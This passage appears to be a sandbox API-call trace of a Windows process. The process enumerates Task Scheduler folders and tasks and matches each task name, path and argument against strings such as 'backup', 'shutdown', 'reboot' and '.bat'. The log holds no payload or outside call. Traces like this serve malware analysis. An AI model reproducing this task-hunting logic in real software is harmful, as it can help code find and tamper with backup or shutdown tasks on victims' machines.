ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fb10) returned 0x0 [0146.928] ITaskDefinition:get_Actions (in: This=0x47fb10, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fb88) returned 0x0 [0146.928] IActionCollection:get_Count (in: This=0x47fb88, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0146.928] IActionCollection:get_Item (in: This=0x47fb88, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47ffa0) returned 0x0 [0146.928] IAction:get_Type (in: This=0x47ffa0, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0146.928] IUnknown:Release (This=0x47ffa0) returned 0x1 [0146.928] IUnknown:Release (This=0x47fb88) returned 0x1 [0146.928] IUnknown:Release (This=0x47fb10) returned 0x0 [0146.928] IUnknown:Release (This=0x47fa50) returned 0x0 [0146.928] IRegisteredTaskCollection:get_Item (in: This=0x24609e0, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fa50) returned 0x0 [0146.928] IRegisteredTask:get_Name (in: This=0x47fa50, pName=0x5cf9f8 | out: pName=0x5cf9f8*="UserTask-Roam") returned 0x0 [0146.928] IRegisteredTask:get_State (in: This=0x47fa50, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0146.930] IUnknown:Release (This=0x47fa50) returned 0x0 [0146.930] IUnknown:Release (This=0x24609e0) returned 0x0 [0146.930] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609e0) returned 0x0 [0146.930] ITaskFolderCollection:get_Count (in: This=0x24609e0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.930] IUnknown:Release (This=0x24609e0) returned 0x0 [0146.930] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.930] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.930] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609f8) returned 0x0 [0146.931] IRegisteredTaskCollection:get_Count (in: This=0x24609f8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0146.931] IRegisteredTaskCollection:get_Item (in: This=0x24609f8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a58) returned 0x0 [0146.931] IRegisteredTask:get_Name (in: This=0x2460a58, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Consolidator") returned 0x0 [0146.931] IRegisteredTask:get_State (in: This=0x2460a58, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0146.932] IUnknown:Release (This=0x2460a58) returned 0x0 [0146.932] IUnknown:Release (This=0x24609f8) returned 0x0 [0146.932] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609f8) returned 0x0 [0146.933] ITaskFolderCollection:get_Count (in: This=0x24609f8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.933] IUnknown:Release (This=0x24609f8) returned 0x0 [0146.933] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.933] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.933] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b8) returned 0x0 [0146.933] IRegisteredTaskCollection:get_Count (in: This=0x24609b8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0146.933] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a60) returned 0x0 [0146.933] IRegisteredTask:get_Name (in: This=0x2460a60, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ScheduledDefrag") returned 0x0 [0146.933] IRegisteredTask:get_State (in: This=0x2460a60, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0146.935] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6f4308 [0146.935] wcsstr (_Str="scheduleddefrag", _SubStr="reboot") returned 0x0 [0146.935] wcsstr (_Str="scheduleddefrag", _SubStr="restart") returned 0x0 [0146.935] wcsstr (_Str="scheduleddefrag", _SubStr="shutdown") returned 0x0 [0146.935] wcsstr (_Str="scheduleddefrag", _SubStr="logoff") returned 0x0 [0146.935] wcsstr (_Str="scheduleddefrag", _SubStr=".bat") returned 0x0 [0146.935] wcsstr (_Str="scheduleddefrag", _SubStr="backup") returned 0x0 [0146.935] wcsstr (_Str="scheduleddefrag", _SubStr=".cmd") returned 0x0 [0146.935] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4308) returned 1 [0146.935] IRegisteredTask:get_Definition (in: This=0x2460a60, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fab8) returned 0x0 [0146.944] ITaskDefinition:get_Actions (in: This=0x47fab8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fb30) returned 0x0 [0146.944] IActionCollection:get_Count (in: This=0x47fb30, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0146.944] IActionCollection:get_Item (in: This=0x47fb30, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fe70) returned 0x0 [0146.944] IAction:get_Type (in: This=0x47fe70, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0146.944] IUnknown:QueryInterface (in: This=0x47fe70, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fe70) returned 0x0 [0146.944] IExecAction:get_Path (in: This=0x47fe70, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\system32\\defrag.exe") returned 0x0 [0146.944] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3a) returned 0x6c26f8 [0146.944] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="reboot") returned 0x0 [0146.944] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="restart") returned 0x0 [0146.944] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="shutdown") returned 0x0 [0146.944] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="logoff") returned 0x0 [0146.944] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".bat") returned 0x0 [0146.944] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr="backup") returned 0x0 [0146.944] wcsstr (_Str="%windir%\\system32\\defrag.exe", _SubStr=".cmd") returned 0x0 [0146.944] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c26f8) returned 1 [0146.944] IExecAction:get_Arguments (in: This=0x47fe70, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-c") returned 0x0 [0146.944] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x6) returned 0x6d8988 [0146.944] wcsstr (_Str="-c", _SubStr="reboot") returned 0x0 [0146.944] wcsstr (_Str="-c", _SubStr="restart") returned 0x0 [0146.944] wcsstr (_Str="-c", _SubStr="shutdown") returned 0x0 [0146.944] wcsstr (_Str="-c", _SubStr="logoff") returned 0x0 [0146.944] wcsstr (_Str="-c", _SubStr=".bat") returned 0x0 [0146.945] wcsstr (_Str="-c", _SubStr="backup") returned 0x0 [0146.945] wcsstr (_Str="-c", _SubStr=".cmd") returned 0x0 [0146.945] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8988) returned 1 [0146.945] IUnknown:Release (This=0x47fe70) returned 0x2 [0146.945] IUnknown:Release (This=0x47fe70) returned 0x1 [0146.945] IUnknown:Release (This=0x47fb30) returned 0x1 [0146.945] IUnknown:Release (This=0x47fab8) returned 0x0 [0146.945] IUnknown:Release (This=0x2460a60) returned 0x0 [0146.945] IUnknown:Release (This=0x24609b8) returned 0x0 [0146.945] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b8) returned 0x0 [0146.945] ITaskFolderCollection:get_Count (in: This=0x24609b8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.945] IUnknown:Release (This=0x24609b8) returned 0x0 [0146.945] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.945] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.945] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609c0) returned 0x0 [0146.946] IRegisteredTaskCollection:get_Count (in: This=0x24609c0, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0146.946] IUnknown:Release (This=0x24609c0) returned 0x0 [0146.946] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609c0) returned 0x0 [0146.946] ITaskFolderCollection:get_Count (in: This=0x24609c0, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.946] IUnknown:Release (This=0x24609c0) returned 0x0 [0146.946] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.946] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.946] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2460978) returned 0x0 [0146.947] IRegisteredTaskCollection:get_Count (in: This=0x2460978, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=0) returned 0x0 [0146.947] IUnknown:Release (This=0x2460978) returned 0x0 [0146.947] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2460978) returned 0x0 [0146.947] ITaskFolderCollection:get_Count (in: This=0x2460978, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.947] IUnknown:Release (This=0x2460978) returned 0x0 [0146.947] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.947] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.948] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x24609b8) returned 0x0 [0146.948] IRegisteredTaskCollection:get_Count (in: This=0x24609b8, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0146.948] IRegisteredTaskCollection:get_Item (in: This=0x24609b8, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a60) returned 0x0 [0146.948] IRegisteredTask:get_Name (in: This=0x2460a60, pName=0x5cf9f8 | out: pName=0x5cf9f8*="Notifications") returned 0x0 [0146.948] IRegisteredTask:get_State (in: This=0x2460a60, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0146.950] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f4420 [0146.950] wcsstr (_Str="notifications", _SubStr="reboot") returned 0x0 [0146.950] wcsstr (_Str="notifications", _SubStr="restart") returned 0x0 [0146.950] wcsstr (_Str="notifications", _SubStr="shutdown") returned 0x0 [0146.950] wcsstr (_Str="notifications", _SubStr="logoff") returned 0x0 [0146.950] wcsstr (_Str="notifications", _SubStr=".bat") returned 0x0 [0146.950] wcsstr (_Str="notifications", _SubStr="backup") returned 0x0 [0146.950] wcsstr (_Str="notifications", _SubStr=".cmd") returned 0x0 [0146.950] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4420) returned 1 [0146.950] IRegisteredTask:get_Definition (in: This=0x2460a60, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fab8) returned 0x0 [0146.955] ITaskDefinition:get_Actions (in: This=0x47fab8, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fb30) returned 0x0 [0146.955] IActionCollection:get_Count (in: This=0x47fb30, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0146.955] IActionCollection:get_Item (in: This=0x47fb30, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fee8) returned 0x0 [0146.955] IAction:get_Type (in: This=0x47fee8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0146.955] IUnknown:QueryInterface (in: This=0x47fee8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fee8) returned 0x0 [0146.955] IExecAction:get_Path (in: This=0x47fee8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%windir%\\System32\\LocationNotifications.exe") returned 0x0 [0146.955] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x58) returned 0x6d9258 [0146.955] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="reboot") returned 0x0 [0146.955] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="restart") returned 0x0 [0146.955] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="shutdown") returned 0x0 [0146.955] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="logoff") returned 0x0 [0146.955] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".bat") returned 0x0 [0146.955] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr="backup") returned 0x0 [0146.955] wcsstr (_Str="%windir%\\system32\\locationnotifications.exe", _SubStr=".cmd") returned 0x0 [0146.956] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d9258) returned 1 [0146.956] IExecAction:get_Arguments (in: This=0x47fee8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*=0x0) returned 0x0 [0146.956] IUnknown:Release (This=0x47fee8) returned 0x2 [0146.956] IUnknown:Release (This=0x47fee8) returned 0x1 [0146.956] IUnknown:Release (This=0x47fb30) returned 0x1 [0146.956] IUnknown:Release (This=0x47fab8) returned 0x0 [0146.956] IUnknown:Release (This=0x2460a60) returned 0x0 [0146.956] IUnknown:Release (This=0x24609b8) returned 0x0 [0146.956] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x24609b8) returned 0x0 [0146.956] ITaskFolderCollection:get_Count (in: This=0x24609b8, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.956] IUnknown:Release (This=0x24609b8) returned 0x0 [0146.957] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.957] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.957] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2460978) returned 0x0 [0146.957] IRegisteredTaskCollection:get_Count (in: This=0x2460978, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=1) returned 0x0 [0146.957] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0146.957] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="WinSAT") returned 0x0 [0146.957] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0146.959] IUnknown:Release (This=0x2460a00) returned 0x0 [0146.959] IUnknown:Release (This=0x2460978) returned 0x0 [0146.959] ITaskFolder:GetFolders (in: This=0x2460150, flags=0, ppFolders=0x5cfa4c | out: ppFolders=0x5cfa4c*=0x2460978) returned 0x0 [0146.959] ITaskFolderCollection:get_Count (in: This=0x2460978, pCount=0x5cfa40 | out: pCount=0x5cfa40*=0) returned 0x0 [0146.959] IUnknown:Release (This=0x2460978) returned 0x0 [0146.959] TaskScheduler:IUnknown:Release (This=0x2460150) returned 0x0 [0146.959] ITaskFolderCollection:get_Item (in: This=0x24608d8, index=0x5cfa48*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd, varVal2=0x0), ppFolder=0x5cfa70 | out: ppFolder=0x5cfa70*=0x2460150) returned 0x0 [0146.959] ITaskFolder:GetTasks (in: This=0x2460150, flags=0, ppTasks=0x5cfa10 | out: ppTasks=0x5cfa10*=0x2460978) returned 0x0 [0146.961] IRegisteredTaskCollection:get_Count (in: This=0x2460978, pCount=0x5cf9ec | out: pCount=0x5cf9ec*=21) returned 0x0 [0146.961] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0146.961] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ActivateWindowsSearch") returned 0x0 [0146.961] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0146.963] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2c) returned 0x6cab78 [0146.963] wcsstr (_Str="activatewindowssearch", _SubStr="reboot") returned 0x0 [0146.963] wcsstr (_Str="activatewindowssearch", _SubStr="restart") returned 0x0 [0146.963] wcsstr (_Str="activatewindowssearch", _SubStr="shutdown") returned 0x0 [0146.963] wcsstr (_Str="activatewindowssearch", _SubStr="logoff") returned 0x0 [0146.963] wcsstr (_Str="activatewindowssearch", _SubStr=".bat") returned 0x0 [0146.963] wcsstr (_Str="activatewindowssearch", _SubStr="backup") returned 0x0 [0146.963] wcsstr (_Str="activatewindowssearch", _SubStr=".cmd") returned 0x0 [0146.963] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab78) returned 1 [0146.963] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fa50) returned 0x0 [0146.968] ITaskDefinition:get_Actions (in: This=0x47fa50, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fac8) returned 0x0 [0146.968] IActionCollection:get_Count (in: This=0x47fac8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0146.968] IActionCollection:get_Item (in: This=0x47fac8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fd00) returned 0x0 [0146.968] IAction:get_Type (in: This=0x47fd00, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0146.968] IUnknown:QueryInterface (in: This=0x47fd00, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fd00) returned 0x0 [0146.969] IExecAction:get_Path (in: This=0x47fd00, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0146.969] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0146.969] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0146.969] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0146.969] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0146.969] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0146.969] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0146.969] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0146.969] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0146.969] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0146.969] IExecAction:get_Arguments (in: This=0x47fd00, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoActivateWindowsSearch") returned 0x0 [0146.969] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0146.969] wcsstr (_Str="/doactivatewindowssearch", _SubStr="reboot") returned 0x0 [0146.969] wcsstr (_Str="/doactivatewindowssearch", _SubStr="restart") returned 0x0 [0146.969] wcsstr (_Str="/doactivatewindowssearch", _SubStr="shutdown") returned 0x0 [0146.969] wcsstr (_Str="/doactivatewindowssearch", _SubStr="logoff") returned 0x0 [0146.969] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".bat") returned 0x0 [0146.969] wcsstr (_Str="/doactivatewindowssearch", _SubStr="backup") returned 0x0 [0146.969] wcsstr (_Str="/doactivatewindowssearch", _SubStr=".cmd") returned 0x0 [0146.969] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0146.969] IUnknown:Release (This=0x47fd00) returned 0x2 [0146.969] IUnknown:Release (This=0x47fd00) returned 0x1 [0146.969] IUnknown:Release (This=0x47fac8) returned 0x1 [0146.969] IUnknown:Release (This=0x47fa50) returned 0x0 [0146.969] IUnknown:Release (This=0x2460a00) returned 0x0 [0146.969] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0146.969] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ConfigureInternetTimeService") returned 0x0 [0146.970] IRegisteredTask:get_State (in: This=0x2460a00, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0146.974] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x3a) returned 0x6c26f8 [0146.974] wcsstr (_Str="configureinternettimeservice", _SubStr="reboot") returned 0x0 [0146.974] wcsstr (_Str="configureinternettimeservice", _SubStr="restart") returned 0x0 [0146.974] wcsstr (_Str="configureinternettimeservice", _SubStr="shutdown") returned 0x0 [0146.974] wcsstr (_Str="configureinternettimeservice", _SubStr="logoff") returned 0x0 [0146.974] wcsstr (_Str="configureinternettimeservice", _SubStr=".bat") returned 0x0 [0146.974] wcsstr (_Str="configureinternettimeservice", _SubStr="backup") returned 0x0 [0146.974] wcsstr (_Str="configureinternettimeservice", _SubStr=".cmd") returned 0x0 [0146.974] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c26f8) returned 1 [0146.974] IRegisteredTask:get_Definition (in: This=0x2460a00, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2460a48) returned 0x0 [0146.979] ITaskDefinition:get_Actions (in: This=0x2460a48, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fa50) returned 0x0 [0146.979] IActionCollection:get_Count (in: This=0x47fa50, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0146.979] IActionCollection:get_Item (in: This=0x47fa50, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x47fc88) returned 0x0 [0146.979] IAction:get_Type (in: This=0x47fc88, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0146.979] IUnknown:QueryInterface (in: This=0x47fc88, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x47fc88) returned 0x0 [0146.979] IExecAction:get_Path (in: This=0x47fc88, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0146.979] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0146.979] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0146.979] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0146.979] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0146.979] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0146.979] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0146.979] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0146.979] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0146.979] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0146.979] IExecAction:get_Arguments (in: This=0x47fc88, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoConfigureInternetTimeService") returned 0x0 [0146.979] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c26f8 [0146.979] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="reboot") returned 0x0 [0146.979] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="restart") returned 0x0 [0146.979] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="shutdown") returned 0x0 [0146.979] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="logoff") returned 0x0 [0146.979] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".bat") returned 0x0 [0146.979] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr="backup") returned 0x0 [0146.979] wcsstr (_Str="/doconfigureinternettimeservice", _SubStr=".cmd") returned 0x0 [0146.980] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c26f8) returned 1 [0146.980] IUnknown:Release (This=0x47fc88) returned 0x2 [0146.980] IUnknown:Release (This=0x47fc88) returned 0x1 [0146.980] IUnknown:Release (This=0x47fa50) returned 0x1 [0146.980] IUnknown:Release (This=0x2460a48) returned 0x0 [0146.980] IUnknown:Release (This=0x2460a00) returned 0x0 [0146.980] IRegisteredTaskCollection:get_Item (in: This=0x2460978, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2460a00) returned 0x0 [0146.980] IRegisteredTask:get_Name (in: This=0x2460a00, pName=0x5cf9f8 | out: 